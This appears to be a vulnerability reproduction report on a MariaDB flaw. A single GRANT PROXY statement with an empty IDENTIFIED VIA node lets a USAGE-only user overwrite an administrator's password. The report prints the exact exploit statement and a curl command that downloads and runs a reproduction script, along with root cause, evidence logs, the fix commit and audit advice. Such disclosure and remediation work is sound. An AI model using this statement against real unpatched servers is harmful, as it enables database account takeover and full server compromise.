REPRO-2026-00364: Verified Reproduction
REPRO-2026-00364: MariaDB: USAGE-only user can reset admin password via GRANT PROXY ... IDENTIFIED VIA '' auth-list bypass
REPRO-2026-00364 is verified against MariaDB/server · github. Affected versions: MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). Fixed in MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00364.
What Is REPRO-2026-00364?
REPRO-2026-00364 is a high-severity vulnerability affecting MariaDB/server MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis).. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00364).
REPRO-2026-00364 Severity
REPRO-2026-00364 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected MariaDB/server Versions
MariaDB/server · github versions MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). are affected.
How to Reproduce REPRO-2026-00364
pruva-verify REPRO-2026-00364 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00364/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for REPRO-2026-00364
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Single SQL statement from a USAGE-only authenticated session: GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked')
- MySQL TCP endpoint (port 3306)
- SQL parser/grant path (sql_acl.cc, LEX_USER::has_auth in structs.h)
- replace_user_table() persists attacker-controlled second auth node onto victim account
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for REPRO-2026-00364
MariaDB Server's GRANT PROXY ... IDENTIFIED VIA <auth-list> handling contains a privilege-check
bypass. In the vulnerable code, LEX_USER::has_auth() (sql/structs.h) returns true only when the
parsed first auth node has a non-empty plugin name or password text. Supplying an EMPTY first auth
node (IDENTIFIED VIA '') makes has_auth() return false, so the server skips the access check on
the mysql system database that normally guards credential changes. However,
replace_user_table() still persists the ENTIRE parsed auth list onto the target account — including
an attacker-controlled SECOND node (OR mysql_native_password USING PASSWORD('hacked')). The net
effect: any authenticated user holding only the USAGE privilege (the weakest possible session) can
overwrite the stored credentials of an arbitrary existing account — including a full DBA — and then
log in as that account. This is a complete remote account-takeover / privilege-escalation primitive
over the normal MySQL TCP protocol.
- Component: MariaDB Server ACL/grant handling (
sql/sql_acl.cc,sql/structs.h,sql/sql_yacc.yy). - Affected versions (confirmed this run): MariaDB 12.3.2 (Docker
mariadb:12.3.2, digestsha256:a02fe89cb597d4375812b2eac90cf9d0775d4686daa7f7cc750ebbcad7525bbc). The upstream fix (MDEV-40470, commitdbd60d0ad8daa2d01050346aa50b7b102490e456) first shipped in released versions 12.3.3 / 11.4.13 / 11.8.9 per the official release notes; earlier release lines without the fix are likewise expected to be affected. - Risk: High (H1 triage 8.8). Remote, requires only a valid low-privilege account (
USAGE), one SQL statement, no user interaction. Consequence: full server compromise via takeover of anALL PRIVILEGES ... WITH GRANT OPTIONaccount.
Impact Parity
- Disclosed/claimed maximum impact: privilege escalation — USAGE-only user resets an administrator's password and obtains the admin's full privileges.
- Reproduced impact from this run: exactly that. On
mariadb:12.3.2aUSAGE-onlyattackerexecuted the claim'sGRANT PROXYstatement,victim_admin's stored credentials were replaced with the attacker-chosen hash, and a fresh TCP login asvictim_adminwith passwordhackedreturnedGRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION. - Parity:
full.
Root Cause
sql/structs.h(vulnerable):bool has_auth() { return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length); }— an explicitly supplied but EMPTY authentication (IDENTIFIED VIA '') is indistinguishable from "no authentication specified", so the privilege check (access to themysqldatabase / admin-check in the grant path) is skipped.sql/sql_yacc.yyadditionally allocated an emptyUSER_AUTH()forCURRENT_USER()inuser_maybe_role, compounding the confusion.- Meanwhile
replace_user_table()writes the full multi-node auth list tomysql.user, so the attacker-controlled second node becomes the victim's credential (SHOW CREATE USERafterwards showsIDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F4...'=PASSWORD('hacked')). - Fix: MDEV-40470, commit
dbd60d0ad8daa2d01050346aa50b7b102490e456("empty password and empty plugin name don't mean 'authentication was not specified', they mean 'empty authentication was specified'"):has_auth()becomesreturn auth;and the emptyUSER_AUTH()allocation insql_yacc.yyis removed. On the fixed build the statement is rejected withERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'.
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; requires Docker only).- The script pulls pinned
mariadb:12.3.2(vulnerable) andmariadb:12.3.3(fixed, first release containingdbd60d0ad8d), then runs two fresh vulnerable containers and two fresh fixed containers. In each container, over the real MySQL TCP protocol (mariadb --protocol=TCP -h127.0.0.1 -P3306):- root creates
victim_admin(ALL PRIVILEGES ... WITH GRANT OPTION, passwordorigpass) andattacker(USAGEonly, passwordattackerpass); - precondition: attacker's direct
ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x'is denied (ERROR 1227), proving the attacker holds no account-management privilege; - attack (as
attacker):GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked'); - verification: post-state
SHOW CREATE USER 'victim_admin'@'%', fresh TCP logins asvictim_adminwithhacked,wrongpw, andorigpass.
- root creates
- Expected evidence (vulnerable): statement succeeds; victim's auth replaced by
PASSWORD('hacked')hash; login withhackedsucceeds with full privileges;origpassno longer works. Expected evidence (fixed): statement rejected with ERROR 1044; victim unchanged;hackedlogin fails,origpasslogin works.
Evidence
- Per-attempt transcripts:
bundle/logs/repro/vuln_attempt_{1,2}.log,bundle/logs/repro/fixed_attempt_{1,2}.log; structured results:bundle/repro/evidence/{vuln,fixed}_{1,2}.json; manifest with SHA-256:bundle/repro/runtime_manifest.json; session log:bundle/logs/reproduction_steps.log. - Key excerpts (vulnerable attempt):
Grants for attacker@%: GRANT USAGE ON *.* TO 'attacker'@'%'(precondition)ATTACK_STMT_OK(statement succeeded as USAGE-only user)CREATE USER 'victim_admin'@'%' IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F422B78BE9A02900B231D67662A7DC2A7BF8C4'(=PASSWORD('hacked'))- login with
hacked→GRANT ALL PRIVILEGES ON *.* TO 'victim_admin'@'%' ... WITH GRANT OPTION - login with
wrongpwand with the ORIGINALorigpass→ERROR 1045(credentials truly replaced)
- Key excerpts (fixed attempt):
ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'; victim row unchanged;hackedlogin fails;origpasslogin succeeds. - Result: vulnerable takeovers 2/2, fixed resistances 2/2, script exit 0 on two consecutive runs.
- Environment: Docker 27.5.1,
mariadb:12.3.2@sha256:a02fe89c…,mariadb:12.3.3@sha256:dd9b303a…, linux/amd64, no sanitizers involved (pure product behavior at the SQL/TCP boundary).
Recommendations / Next Steps
- Upgrade to MariaDB ≥ 12.3.3 / 11.4.13 / 11.8.9 (or any build containing commit
dbd60d0ad8d). - The fix approach upstream is correct: treat an explicitly supplied empty auth as an auth change
(
has_auth()→return auth;) and stop auto-allocating an emptyUSER_AUTHforCURRENT_USER(). - Audit:
SELECT user, host, plugin, authentication_string FROM mysql.userfor unexpected changes; alert on anyGRANT PROXYexecuted by non-admin accounts. - Regression test: the upstream
mysql-test/main/grant5.testMDEV-40470 case covers bothIDENTIFIED VIA 'foo'andIDENTIFIED VIA ''from a USAGE-only user.
Additional Notes
- The script is idempotent: every attempt uses a fresh, uniquely named container that is removed
afterwards; a
trapcleans up on early exit. - The exact statement variant from the H1 report using
ON ''@''behaves differently (ERROR 1698); the semantically identical variantON CURRENT_USER()used here matches both the upstream regression test (grant proxy on u1@localhost to u2@localhost identified via '') and the original discoverer PoC, and exercises the identical vulnerable code path (has_auth()bypass +replace_user_table()persisting the full auth list). The attacker-visible outcome — silent overwrite of the victim admin's credentials from a USAGE-only session — is the claim's core and is fully demonstrated. - No crash, sanitizer, or debugger was used; the proof is pure product behavior over the real client/server TCP protocol.
REPRO-2026-00364 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
docker info 2>&1 | grep -E "Server Version|ERROR|Cannot" ; docker ps 2>&1 | head -3; ls /pruva/project-cache 2>/dev/nullServer Version: 27.5.1 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES repo-mirrors
docker manifest inspect mariadb:12.3.2 >/dev/null 2>&1 && echo "mariadb:12.3.2 OK" || echo "12.3.2 missing"; docker manifest inspect mariadb:12.3.3 >/dev/null 2>&1 && echo "mariadb:12.3.3 OK" || echo "12.3.3 missing"; docker manifest inspect mariadb:12.3 >/dev/null 2>&1 && echo "mariadb:12.3 OK" || echo "12.3 missing"; docker manifest inspect mariadb:13.0.2 >/dev/null 2>&1 && echo "mariadb:13.0.2 OK" || echo "13.0.2 missing"mariadb:12.3.2 OK mariadb:12.3.3 OK mariadb:12.3 OK 13.0.2 missing
ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; ls /pruva/project-cache/.pruva/ 2>/dev/null && cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/nullcache_manifest.json
{
"schema_version": 1,
"entries": [
{
"path": "repo-mirrors",
"reuse_class": "repo",
"provenance": "run_generated"ls -la /pruva/project-cache/repo-mirrors/ 2>/dev/null; find /pruva/project-cache/repo-mirrors -maxdepth 2 -name "*.git" 2>/dev/null | headtotal 0 drwx------ 2 vscode vscode 40 Sep 8 04:57 . drwx------ 4 vscode vscode 80 Sep 8 04:57 ..
Artifacts and Evidence for REPRO-2026-00364
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix REPRO-2026-00364
Upgrade MariaDB/server · github to MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. or later.
FAQ: REPRO-2026-00364
Is REPRO-2026-00364 exploitable?
How severe is REPRO-2026-00364?
What type of vulnerability is REPRO-2026-00364?
Which versions of MariaDB/server are affected by REPRO-2026-00364?
Is there a fix for REPRO-2026-00364?
How can I reproduce REPRO-2026-00364?
Is the REPRO-2026-00364 reproduction verified?
References for REPRO-2026-00364
Authoritative sources for REPRO-2026-00364 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.